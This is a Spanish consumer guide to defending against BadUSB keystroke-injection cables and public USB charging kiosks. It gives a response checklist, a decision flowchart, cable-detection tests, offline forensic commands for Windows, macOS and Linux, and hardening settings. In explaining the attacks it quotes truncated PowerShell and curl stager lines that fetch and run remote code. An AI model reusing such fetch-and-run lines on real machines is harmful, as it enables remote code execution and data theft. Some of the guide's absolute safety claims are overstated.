Cables USB maliciosos (inyección HID/BadUSB) y defensa de quioscos públicos¶

Conectar su computadora portátil, teléfono inteligente o tableta a un cable de carga USB-C o Lightning desconocido que se dejó en el escritorio de un hotel, en la puerta del aeropuerto, en el asiento trasero de un viaje compartido o en una bolsa de artículos de conferencia, o ver un cuadro de diálogo Ejecutar de Windows (Win + R), la ventana de PowerShell o la terminal macOS parpadean en su pantalla durante 500 milisegundos y comienzan a escribir a 1000 palabras por minuto inmediatamente después de conectar un cable USB, una unidad flash o un control de presentación, es la firma de un ataque de inyección de teclas BadUSB/HID (dispositivo de interfaz humana) o explotación de quiosco de carga pública ("Juice Jacking"). A diferencia del malware tradicional almacenado como un archivo en una memoria USB que los escáneres antivirus pueden inspeccionar antes de abrirlo, los implantes de hardware armados como el O.MG Cable, USB Rubber Ducky, Flipper Zero BadUSB, Bash Bunny y USBHarpoon incorporan un microcontrolador en miniatura y una radio Wi-Fi directamente dentro de la carcasa del conector de plástico moldeado de un cable de carga de aspecto normal de Apple, Anker o Samsung (apenas 12 milímetros o 0,47 pulgadas). de largo).

Cuando se conecta a su computadora o a un teléfono inteligente desbloqueado, ese microcontrolador oculto no se anuncia a su sistema operativo como una unidad de almacenamiento o un cargador. En cambio, enumera a través del USB D+ y D- pines de datos como estándar Teclado USB HID (Class 0x03) o Adaptador de red Ethernet USB (RNDIS / ECM). Debido a que Windows, macOS, Linux, iOS y Android confían inherentemente en los teclados recién conectados sin necesidad de controladores ni análisis antivirus, el cable activa inmediatamente una secuencia preprogramada de pulsaciones de teclas (Win + R -> powershell -w hidden -ep bypass ... en Windows, o Cmd + Space -> Terminal en macOS) o activa una carga útil de Wi-Fi controlada remotamente en el momento en que un atacante dentro de un radio de 90 metros (300 pies) hace clic en "Ejecutar" en su teléfono. Para conocer amenazas más amplias de puntos de acceso inalámbrico y redes de viajes junto con los puertos de carga, consulte también nuestra Guía de defensa para Wi-Fi público, Evil Twin y toma de jugo. Si enfrenta amenazas físicas o extorsión, llame a su número de emergencia local (911 en Estados Unidos y Canadá, 112 en toda la Unión Europea, 999 en el Reino Unido) o consulte nuestra números de emergencia directorio. Siga las acciones inmediatas de aislamiento de hardware y recuperación forense que se indican a continuación.

Haz esto ahora¶

1. Saque el cable USB, la unidad flash, la base o el cable de carga sospechosos del puerto de su dispositivo INMEDIATAMENTE: cada segundo que un cable BadUSB o O.MG permanece conectado a una computadora o teléfono desbloqueado permite que su microcontrolador interno (o un atacante cercano conectado al punto de acceso Wi-Fi interno oculto del cable) inyecte pulsaciones de teclas, extraiga datos a través de un canal de red/serie USB oculto o ejecute un registrador de teclas de hardware que registra cada contraseña que escribe en su teclado externo.
2. Desconecte la computadora portátil o el teléfono afectado de Wi-Fi, Ethernet y Bluetooth ahora mismo, y NO escriba ninguna contraseña en esa máquina: La carga útil estándar BadUSB / Rubber Ducky de 2 segundos no escribe un programa enorme a través de la lenta interfaz del teclado; en su lugar, escribe un comando "stager" de 1 línea en PowerShell (iex (irm http://...)) o Terminal macOS (curl -s http://... | sh) que descarga un robo de información completo o un troyano de acceso remoto a través de su conexión Wi-Fi. Cortar Wi-Fi y Ethernet interrumpe inmediatamente la descarga o detiene la exfiltración.
3. Si tocó "Confiar en esta computadora" en su iPhone/iPad o seleccionó "Transferencia de archivos (MTP) / Permitir depuración USB (ADB)" en su teléfono Android en un quiosco de carga público, revoque la confianza inmediatamente:
4. En iPhone/iPad: desenchufe el cable, vaya a Configuración > Desarrollador (si está visible en la parte inferior de Configuración) -> toque Borrar computadoras de confianza. Si el desarrollador no estaba visible, vaya a Configuración > General > Transferir o restablecer iPhone > Restablecer > Restablecer ubicación y privacidad, que borra criptográficamente todos los emparejados. lockdownd aloja registros de emparejamiento para que ninguna computadora o quiosco pueda volver a acceder a la copia de seguridad de tu iPhone sin tu contraseña.
5. En Android: desenchufe el cable, vaya a Configuración > Sistema > Opciones de desarrollador (si está habilitado) -> toque Revocar autorizaciones de depuración USB y desactive Opciones de desarrollador por completo.
6. Inspeccione la carga útil de la pulsación de tecla BadUSB que acaba de escribir en su computadora marcando la casilla Ejecutar (RunMRU), registro de comandos de PowerShell (PSReadLine) y el historial de la terminal macOS: antes de reiniciar, abra una ventana de terminal limpia en su computadora fuera de línea y lea el comando exacto que el teclado USB falso inyectó en su sistema usando nuestro Comandos de auditoría forense en la Fase 2..
7. Conserve el cable USB o la memoria USB sospechosos en un contenedor de metal o bolsa de Faraday (NO lo vuelva a conectar a ninguna computadora para "ver qué hay en él"): debido a que un cable O.MG contiene un transceptor Wi-Fi ESP8266/ESP32 activo que se enciende cada vez que recibe 5 voltios (incluso cuando se conecta a un bloque de pared USB o banco de baterías), al conectarlo a un cargador de pared se activa su punto de acceso Wi-Fi oculto y permite que un atacante salga de su hotel. habitación u oficina para conectarse a él o desencadenar su autodestrucción (Self-Destruct / Wipe) característica. Déjalo completamente desconectado.
8. Si la carga útil de BadUSB ejecutó un script en su computadora mientras estaba conectado, rote todas las credenciales y revoque las sesiones activas desde un dispositivo limpio e independiente: debido a que el 90 por ciento de las cargas útiles de BadUSB modernas lanzan un ladrón de información que captura las cookies del navegador y las contraseñas guardadas en 3 segundos, ejecute nuestro Guía de revocación de tokens de robo de información y secuestro de cookies de sesión desde un teléfono inteligente limpio.

Árbol de decisiones: responder a una sospecha de exposición a un cable USB malicioso o a un quiosco público¶

Utilice este diagrama de flujo táctico para determinar si su dispositivo se vio comprometido después de conectarlo a un cable USB, una base, una memoria USB o una estación de carga pública que no sea de confianza:

flowchart TD
    Event["Conectado a un cable USB desconocido, unidad flash encontrada, quiosco de hotel/aeropuerto o terminal de sierra/ventana de ejecución parpadeando en la pantalla"] --> Unplug["PASO 1: Desenchufe el cable USB/dispositivo inmediatamente y desconecte Wi-Fi/Ethernet"]

    Unplug --> WhatDevice{"¿Qué dispositivo se conectó al cable o puerto USB desconocido?"}

    WhatDevice -->|"Computadora portátil o de escritorio con Windows, macOS o Linux"| ScreenLocked{"¿Estaba la pantalla de la computadora BLOQUEADA o DESBLOQUEADA cuando estaba conectada?"}
    WhatDevice -->|"iPhone/iPad (iOS/iPadOS)"| iOSState{"¿Estaba el iPhone desbloqueado y tocaste 'Confiar' o viste Escribir?"}
    WhatDevice -->|"Teléfono inteligente/tableta Android"| AndroidState{"¿Estaba el teléfono desbloqueado o estaba habilitada la 'depuración USB (ADB)'?"}

    ScreenLocked -->|"Desbloqueado (iniciado sesión en el escritorio)"| AssumeHID["ALTO RIESGO: El cable BadUSB/O.MG puede ejecutar pulsaciones de teclas (Win+R/Cmd+Espacio) en <1,5 segundos sin ningún aviso -> Vaya a la fase 2 de auditoría forense"]
    ScreenLocked -->|"Bloqueado (pantalla de contraseña)"| NetworkDMA["Compruebe si se produjo Thunderbolt/PCIe DMA o USB Ethernet (envenenamiento por RNDIS/DHCP); Las pulsaciones de teclas no pueden omitir la pantalla de bloqueo sin su contraseña"]

    iOSState -->|"Bloqueado todo el tiempo (iOS 15+ / Modo restringido USB)"| iOSSafe["SEGURO: El 'modo restringido por USB' de Apple deshabilita físicamente los pines de datos en iPhones bloqueados -> Solo se pasa energía"]
    iOSState -->|"'Confianza' desbloqueada y tocada (o Saw Safari/Atajos abiertos)"| iOSRevoke["Ejecute inmediatamente: Configuración> General> Transferir o restablecer iPhone> Restablecer> Restablecer ubicación y privacidad + Aplicación de accesos directos de auditoría"]

    AndroidState -->|"Bloqueado todo el tiempo (modo de solo carga)"| AndroidSafe["SEGURO: El valor predeterminado de Android moderno es 'Sin transferencia de datos (solo carga)' -> No se pasan datos"]
    AndroidState -->|"Escritura de pantalla desbloqueada y vista o ADB/MTP aprobado"| AndroidRevoke["Deshabilite las Opciones de desarrollador -> Revocar la depuración de USB -> Verifique las aplicaciones instaladas y las descargas de Chrome"]

Comprender cómo funcionan realmente los ataques de BadUSB, cables O.MG y carga pública¶

Para defenderse de manera efectiva y evitar una reacción insuficiente ante un implante de hardware real y entrar en pánico por los puertos de carga inofensivos, es necesario comprender los tres mecanismos técnicos distintos que utilizan los atacantes a través de USB:

1. Inyección de pulsaciones de teclas BadUSB/HID (O.MG Cable, Rubber Ducky, Flipper Zero)¶

• El defecto de diseño fundamental del USB: el bus serie universal (USB) la especificación permite que un único conector físico se declare como cualquier clase de dispositivo durante la enumeración (bInterfaceClass), o incluso como un Dispositivo compuesto (declarándose simultáneamente como una unidad flash USB y un teclado USB).
• Dentro de un cable O.MG o un cargador malicioso: Visualmente, un cable O.MG es 100 por ciento indistinguible de un cable USB-C-a-USB-C, USB-C-a-Lightning o USB-A genuino trenzado o blanco de Apple. Carga tu teléfono y transfiere datos normalmente. Sin embargo, oculto dentro de la punta del conector activo hay un microcontrolador microscópico de doble núcleo con Wi-Fi 802.11 y almacenamiento flash:
• Inyección activa de pulsaciones de teclas: en el momento en que conecta el cable a una PC, Mac o teléfono inteligente con Windows desbloqueado, el cable se enumera como un teclado HID genérico y escribe hasta 850 caracteres por segundo (DuckyScript). En 1,5 segundos, presiona Win + R (Windows) o Cmd + Space (Mac), inicia un shell de fondo oculto, descarga una carga útil y cierra la ventana.
• Registrador de teclas de hardware en línea (para teclados USB externos): si un atacante cambia el cable USB que conecta su teclado mecánico externo a su PC de escritorio con un cable O.MG, el implante se ubica silenciosamente en el medio del cable y registra ** hasta 650 000 pulsaciones de teclas** (incluida su contraseña maestra de Bitwarden/1Password, PIN de inicio de sesión de Windows y contraseña de BIOS) en su memoria flash interna, que el atacante descarga de forma inalámbrica desde fuera del edificio a través de Wi-Fi.
• Cargas útiles geocercadas y con retardo de tiempo: a diferencia de un simple patito de goma USB de $50 que escribe su carga útil en el instante en que se conecta, un cable O.MG puede permanecer completamente inactivo como un cable de carga normal durante días o semanas hasta que detecta su red Wi-Fi corporativa (BSSID geofencing) o hasta que el atacante lo active de forma remota a través de su interfaz de usuario web incorporada.

2. Secuestro del adaptador de red USB (RNDIS / CDC-ECM / PoisonTap / Bash Bunny)¶

• Incluso si la pantalla de su computadora portátil está bloqueada (Win + L o Ctrl + Cmd + Q) para que un teclado USB falso no pueda abrir una ventana de terminal, conectar un dispositivo USB malicioso a un puerto de datos USB desbloqueado permite que el dispositivo se enumere como un Adaptador Ethernet USB Gigabit de alta prioridad (USB RNDIS o CDC-ECM).
• Debido a que Windows y macOS priorizan automáticamente una interfaz Ethernet cableada recién conectada sobre Wi-Fi, el dispositivo USB se convierte en la puerta de enlace predeterminada de su computadora portátil a través de DHCP (0.0.0.0/1), intercepta el tráfico de red local no cifrado, responde a WPAD / LLMNR / mDNS consultas o desvía cookies del navegador en segundo plano que no sean HttpOnly.

3. Quiosco público "Juice Jacking" (MTP / PTP / iOS lockdownd / Android ADB)¶

• Cuando conecta un teléfono inteligente a un puerto USB público (en un aeropuerto, estación de tren, cabecera de hotel o unidad de infoentretenimiento de automóvil de alquiler) usando un cable normal con capacidad de datos:
• Qué se bloquea automáticamente: Desde iOS 11.4.1 / iOS 15+ (USB Restricted Mode) y Android 9+ (Charge-Only Default), conectar un teléfono a un puerto de datos USB no expone automáticamente sus fotos o archivos. La transferencia de datos se bloquea hasta que desbloqueas el teléfono Y tocas explícitamente "Confiar en esta computadora" (y además ingresas el código de acceso de tu iPhone) o cambias manualmente la notificación USB de Android de Sin transferencia de datos a Transferencia de archivos (MTP) o Permitir depuración de USB.
• Dónde reside el verdadero peligro en los quioscos públicos:
  1. ChoiceJacking e inyección HID en teléfonos desbloqueados: como lo demostraron los investigadores de seguridad de la Universidad Tecnológica de Graz (ChoiceJacking), si su teléfono está desbloqueado en su mano mientras lo conecta a un puerto USB público malicioso, el quiosco puede enumerarlo primero como un teclado USB (HID) durante 200 milisegundos y envía el mensaje exacto Tab / Enter o pulsaciones de teclas de asistencia necesarias para hacer clic en el mensaje "Permitir/Transferencia de archivos" en su pantalla antes de cambiar al modo de transferencia de datos del host.
  2. Daños de hardware por energía sucia/sobretensión (USB Killer): Un puerto USB público saboteado puede descargar 200 V CC de un banco de condensadores directamente al chip controlador USB-C de su teléfono, freyendo permanentemente la placa lógica.

Matriz de comparación: hardware de defensa USB y protecciones del sistema operativo¶

Fase 1: Cómo detectar visual y eléctricamente un cable USB malicioso (auditoría de cable O.MG)¶

Si encontró un cable USB sospechoso en su oficina, conectado a la parte posterior del teclado de su PC de escritorio o dentro de su bolsa de viaje, siga estos cuatro pasos para determinar si se trata de un implante de hardware:

1. Prueba n.º 1: Mida la continuidad o utilice un probador de cables de hardware (O.MG Malicious Cable Detector / Bleeping / Hak5 Tester):
2. Los cables de carga pasivos estándar USB-A a USB-C, USB-A a Lightning o USB-C sin marca E no contienen corriente de extracción de microprocesador activo cuando solo un extremo está enchufado a la corriente.
3. Un Detector de cables maliciosos O.MG (o un analizador de protocolo/corriente USB en línea como un Power-Z KM003C) se encuentra entre la fuente de alimentación y el cable con nada conectado al otro extremo del cable:
   • Si un cable consume 30 a 120 miliamperios (mA) de corriente a 5 V cuando no hay nada conectado en el otro extremo, o intenta negociar USB D+/D- enumeración por sí sola, hay una computadora activa/radio Wi-Fi oculta dentro del cabezal del cable.
4. Prueba n.° 2: Verifique si hay puntos de acceso Wi-Fi ocultos (O.MG SSID predeterminados o prefijos MAC de ESP32):
5. Los cables O.MG y los implantes inalámbricos BadUSB utilizan un Espressif (ESP8266 / ESP32-S2 / ESP32-C3) Chip Wi-Fi dentro de la carcasa del conector.
6. Usando un banco de baterías USB aislado dentro de un área aislada/de Faraday (nunca su computadora), al alimentar un cable O.MG no configurado o predeterminado a menudo transmite una red Wi-Fi de 2,4 GHz (SSID predeterminado). O.MG en 192.168.4.1, o un SSID oculto con una Dirección MAC/BSSID OUI perteneciente a Espressif Inc. como 24:0A:C4, 30:AE:A4, 84:CC:A8, A0:20:A6, DC:4F:22, a menos que esté falsificado).
7. Prueba n.º 3: Inspeccione la longitud del sobremolde del conector y la generación de calor:
8. Compare la cubierta protectora de plástico del cable sospechoso con un cable Apple o Anker genuino conocido, uno al lado del otro:
   • Si bien las generaciones recientes de cables O.MG coinciden con las dimensiones exactas de la carcasa de Apple, después de 3 minutos de recibir alimentación de 5 V, el cabezal del conector que contiene el microcontrolador Wi-Fi activo se sentirá notablemente cálido (35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit) entre tus dedos incluso cuando no hay ningún teléfono cargando en el otro extremo. (Un cable pasivo normal sin nada conectado en el otro extremo permanece completamente frío a temperatura ambiente).

Fase 2: clasificación forense si se ingresó un cable BadUSB u O.MG en su computadora¶

Si conectó un cable USB, una memoria USB o un periférico a su computadora portátil con Windows, Mac o Linux y vio el menú Inicio, el cuadro de diálogo Ejecutar (Win + R), foco (Cmd + Space), o una ventana de terminal negra/azul se abre y se cierra, no reinicie todavía. Ejecute estos comandos sin conexión exactos para ver qué escribió el teclado USB falso y qué ID de producto/proveedor USB (VID:PID) conectado a su puerto:

1. Auditoría forense de Windows 10 y Windows 11 (ejecutar en PowerShell sin conexión)¶

Abra PowerShell (Admin) en la PC con Windows sin conexión y ejecute estos cuatro comandos forenses:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List

• Cómo interpretar Get-ItemProperty ... RunMRU:
• Casi todos los scripts de Windows BadUSB/Rubber Ducky comienzan presionando Win + R (GUI r en DuckyScript) y escribiendo un comando como powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex o cmd /c curl ....
• Incluso si el script intenta eliminar RunMRU al final, si desconectaste el cable a mitad de la ejecución (o si el script no borró el registro), la URL y el comando maliciosos exactos se ubicarán dentro RunMRU (a, b, c valores) o dentro ConsoleHost_history.txt.

2. Auditoría forense de Apple macOS (ejecutar en una terminal sin conexión)¶

En macOS, las cargas útiles de BadUSB normalmente presionan Cmd + Space (GUI SPACE), escriba Terminal, presione Entery ejecutar un curl o osascript una sola línea:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Auditoría forense de Linux (dmesg & journalctl)¶

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

Si alguno de los registros anteriores muestra que un powershell, cmd, mshta, curl, wget, o osascript comando ejecutado mientras está conectado a Internet, suponga que se ejecutó un ladrón de información o una puerta trasera persistente: revocar todas las sesiones usando nuestro Guía de robo de información y secuestro de cookies de sesión y realice una reinstalación limpia del sistema operativo siguiendo nuestras guía de infección de malware, ransomware y spyware.

Fase 3: Bloquear sus dispositivos para que los cables BadUSB nunca puedan ejecutarse automáticamente¶

Los sistemas operativos modernos ahora incluyen potentes bloqueos de puertos de hardware integrados que neutralizan completamente BadUSB, cables O.MG y patitos de goma antes de que puedan escribir un solo carácter, siempre que active esas configuraciones:

1. Apple macOS (Apple Silicon M1 / M2 / M3 / M4 MacBooks): habilite "Solicitar nuevos accesorios"¶

En Apple Silicon Macs con macOS Ventura, Sonoma o Sequoia, Apple introdujo la autorización de puerto USB-C/Thunderbolt a nivel de hardware que bloquea cualquier cable o dispositivo USB nuevo para que no se enumere como teclado hasta que haga clic explícitamente en "Permitir": 1. Abra Menú Apple () > Configuración del sistema > Privacidad y seguridad. 2. Desplázate hacia abajo hasta la sección Seguridad y busca "Permitir que los accesorios se conecten". 3. Cámbielo de Automáticamente cuando se desbloquea a "Solicitar nuevos accesorios" (o "Preguntar cada vez" para obtener máxima protección de viaje de alta seguridad). 4. Por qué esto detiene los cables O.MG en una Mac: Cuando conectas un cable de carga O.MG engañoso con "Preguntar cada vez" o "Solicitar nuevos accesorios" habilitado, la energía fluye inmediatamente para cargar la batería de tu MacBook, pero macOS muestra un cuadro de diálogo de advertencia que dice: "Allow accessory '[Device Name]' to connect to this Mac?" Debido a que un cable de carga pasivo normal nunca solicita conectarse como accesorio de datos, ver esa ventana emergente al conectar un cable de carga simple expone instantáneamente el cable como un implante de hardware mientras bloquea el 100 por ciento de sus pulsaciones de teclas hasta que lo desconecta.

2. Apple iPhone y iPad: verifique que el "Modo restringido por USB" esté habilitado¶

1. Abra Configuración > Face ID y código de acceso (o Touch ID y código de acceso) e ingrese su código de acceso.
2. Desplácese hacia abajo hasta la sección "Permitir acceso cuando está bloqueado".
3. Asegúrate de que el interruptor junto a Accesorios (o Accesorios USB) esté APAGADO (gris).
4. Con Accesorios desactivado**, cada vez que tu iPhone está bloqueado, iOS desactiva físicamente los pines de datos USB, permitiendo que solo pase la energía de carga. Siempre presiona el botón lateral para bloquear la pantalla de tu iPhone ANTES de enchufarlo a cualquier cargador desconocido o a un auto de alquiler.

3. Android 15/16 y GrapheneOS: habilite "Protección avanzada"/Bloqueo de puerto USB¶

• En Android estándar (Pixel, Samsung Galaxy):
• Nunca salgas de Opciones de desarrollador > Depuración USB (ADB) habilitado al viajar.
• En Configuración > Seguridad y privacidad > Más configuraciones de seguridad (o Protección avanzada en Android 15/16+), habilite Protección USB/Bloquear nuevos dispositivos USB mientras están bloqueados.
• Bloquee siempre su pantalla antes de conectarse a cualquier puerto de carga público para que los ataques HID de ChoiceJacking no puedan interactuar con una pantalla desbloqueada.

4. Empresa Linux y Windows: USBGuard y restricciones de instalación del dispositivo¶

• En Linux (USBGuard): Instale el usbguard demonio (sudo apt install usbguard), que bloquea cualquier dispositivo USB recién conectado que afirme bInterfaceClass 03 (Teclado HID) si ya hay un teclado principal conectado o hasta que se autorice explícitamente a través de usbguard allow-device.
• En Windows 11 Pro/Enterprise: habilite Protección DMA del kernel (BitLocker + VBS) en Seguridad de Windows > Seguridad del dispositivo > Aislamiento del núcleo para detener los ataques Thunderbolt/PCIe DMA y bloquear siempre su estación de trabajo (Win + L) antes de conectar cualquier cable USB desconocido para que los inyectores de pulsaciones de teclas no puedan acceder a un shell de escritorio conectado.

Preguntas frecuentes¶

¿Puede un cable O.MG o un cable BadUSB malicioso hackear mi teléfono iPhone o Android si solo lo conecto mientras la pantalla de mi teléfono está bloqueada?¶

Si tu iPhone tiene Configuración > Face ID y contraseña > Permitir acceso cuando está bloqueado > Accesorios convertido APAGADO (el valor predeterminado en iOS 15 a iOS 18) y su pantalla se bloquea cuando conecta el cable, No hay datos ni pulsaciones de teclas que puedan llegar a tu iPhone. porque iOS desactiva las líneas de datos USB en el nivel del controlador de hardware hasta que desbloqueas el teléfono con Face ID o tu contraseña. Sin embargo, en el momento en que desbloquea su iPhone mientras el cable O.MG todavía está enchufado, el cable puede enumerarse como un teclado USB externo y enviar rápidamente atajos de teclado de iOS (como Comando + Espacio para abrir Spotlight, abra Safari en una URL de perfil de configuración o phishing o active los accesos directos de Apple). Nunca mantenga conectado un cable USB encontrado o que no sea de confianza mientras desbloquea su teléfono.

¿Cómo puedo diferenciar entre un cable USB real de "sólo carga" y un cable de datos USB normal?¶

Debido a que los fabricantes rara vez imprimen símbolos en los cables que distinguen los cables de carga de los cables de datos, la prueba segura más fácil es conectar el cable entre una computadora y un dispositivo viejo que no sea crítico (o usar una placa de prueba de continuidad de configuración de pines de cable USB en línea de $10 como la Probador de cables USB Treedix, que enciende LED individuales para cada cable interno sin iniciar ningún microcontrolador). En una placa de prueba de continuidad, un verdadero Cable de sólo carga se iluminará solo VBUS y Tierra (2 LED), mientras que un cable con capacidad de datos también se ilumina D+ y D- (y CC1/TX/RX en USB-C). Alternativamente, mantenga un dedicado adaptador físico de bloqueo de datos USB conectado permanentemente a la punta de su cable de carga de viaje, donde puede mirar físicamente dentro del puerto hembra y verificar con sus propios ojos que faltan los pines de datos del medio.

¿Es seguro enchufar mi propio cable de carga a la toma de corriente de CA (enchufe de pared de 2 o 3 clavijas) de un aeropuerto u hotel en lugar del puerto USB incorporado?¶

Sí, 100 por ciento seguro. Un enchufe de pared eléctrico estándar de 110 V/230 V CA (donde conecta su propio bloque de alimentación Apple, Samsung o Anker) solo transporta energía eléctrica de corriente alterna y no tiene conexiones de datos capaces de comunicarse con el controlador USB de su teléfono. Mientras uses su propio bloque adaptador de pared de CA de confianza y su propio cable USB de confianza, un tomacorriente de CA de un aeropuerto o un hotel no puede realizar ataques Juice Jacking o BadUSB.

¿Por qué aparece en Windows el mensaje "Configuración de un dispositivo: Dispositivo de teclado HID" cuando conecté una unidad flash USB o un cargador de vaporizador/cigarrillo electrónico?¶

Ver que Windows muestra una lectura de notificación de brindis "Configurar un dispositivo: Dispositivo de teclado HID" cuando conectaste algo que es no un teclado (como una unidad flash USB, un cable de carga, un ventilador de escritorio barato, un marco de fotos digital o un cargador de vaporizador) es la prueba irrefutable número uno de un Ataque de inyección de pulsaciones de teclas BadUSB/HID. Ninguna unidad flash legítima o cable de carga necesita registrarse en Windows como teclado. Desenchufe el dispositivo inmediatamente, desconéctese de la red Wi-Fi y ejecute PowerShell EjecutarMRU y PSReadLine Audite los comandos en la Fase 2 para ver qué comando escribió ese teclado falso.

Fuentes verificadas¶

• Oficina Federal de Investigaciones (FBI) y Comisión Federal de Comunicaciones (FCC) (Estados Unidos): Anuncios de servicio público sobre los riesgos de las estaciones de carga USB públicas ("Juice Jacking") y los implantes de hardware maliciosos.
• Agencia de Seguridad Nacional (NSA) & Agencia de Seguridad de Infraestructura y Ciberseguridad (CISA) (Estados Unidos): Prácticas recomendadas para dispositivos móviles: viajar de forma segura con teléfonos móviles, computadoras portátiles y periféricos USB.
• Universidad Tecnológica de Graz (TU Graz Grupo de investigación InfoSec): ChoiceJacking: comprometer dispositivos móviles a través de cargadores maliciosos mediante inyección USB HID (Simposio de seguridad USENIX).
• Guía de seguridad de la plataforma Apple: Modo restringido por USB, acceso a accesorios cuando está bloqueado y arquitectura de autorización de accesorios USB/Thunderbolt de macOS Apple Silicon.
• Foro de implementadores de USB (USB-IF): Autenticación USB tipo C, suministro de energía (USB PD) y dispositivo de interfaz humana (HID Clase 0x03) Especificaciones.

Guías relacionadas¶

• Wi-Fi público, puntos de acceso Evil Twin y defensa contra el robo de jugo
• Secuestro de cookies de sesión, malware de robo de información y revocación de tokens
• Detección de stalkerware, spyware y keyloggers en teléfonos
• Infección por malware, ransomware y spyware
• Phishing (quishing) de códigos QR y redirecciones maliciosas
• Números de emergencia por país